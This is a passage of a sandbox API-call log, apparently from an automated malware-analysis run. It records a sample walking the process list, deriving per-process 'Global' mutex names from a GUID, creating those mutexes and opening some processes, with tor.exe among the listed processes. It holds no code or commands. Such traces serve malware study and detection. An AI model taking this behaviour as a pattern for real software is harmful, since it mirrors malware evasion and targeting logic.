th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.008] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.009] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.010] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.010] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.011] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.012] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.013] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.014] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.014] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.015] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.016] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.017] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0123.017] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0123.017] GetLastError () returned 0xb7 [0123.017] CloseHandle (hObject=0x6cc) returned 1 [0123.017] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.018] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0123.018] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0123.018] GetLastError () returned 0xb7 [0123.018] CloseHandle (hObject=0x6cc) returned 1 [0123.018] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.018] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.019] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0123.019] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0123.019] GetLastError () returned 0x0 [0123.019] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0123.019] CloseHandle (hObject=0x6cc) returned 1 [0123.019] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.020] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0123.020] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0123.020] GetLastError () returned 0x0 [0123.020] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0123.020] CloseHandle (hObject=0x6cc) returned 1 [0123.020] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.021] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0123.021] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0123.021] GetLastError () returned 0xb7 [0123.021] CloseHandle (hObject=0x6cc) returned 1 [0123.021] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.022] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0123.022] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0123.022] GetLastError () returned 0x0 [0123.022] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0123.022] CloseHandle (hObject=0x6cc) returned 1 [0123.022] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0123.023] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0123.024] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0123.025] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0123.025] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0123.026] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0123.027] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0123.028] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0123.029] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0123.092] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0123.092] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0123.093] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0123.094] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0123.095] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0123.096] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0123.097] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0123.098] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0123.098] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0123.099] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0123.100] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0123.101] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0123.101] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.102] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0123.103] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.104] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.105] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.105] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.106] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.107] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.108] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.109] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.110] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0123.110] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0123.110] GetLastError () returned 0xb7 [0123.110] CloseHandle (hObject=0x568) returned 1 [0123.110] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0123.110] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0123.111] CloseHandle (hObject=0x56c) returned 1 [0123.111] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0123.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0123.219] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.220] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.220] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.221] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.222] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.223] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.224] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.224] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.225] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.226] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.227] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.227] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.228] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.229] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.230] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.231] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.231] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.232] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, 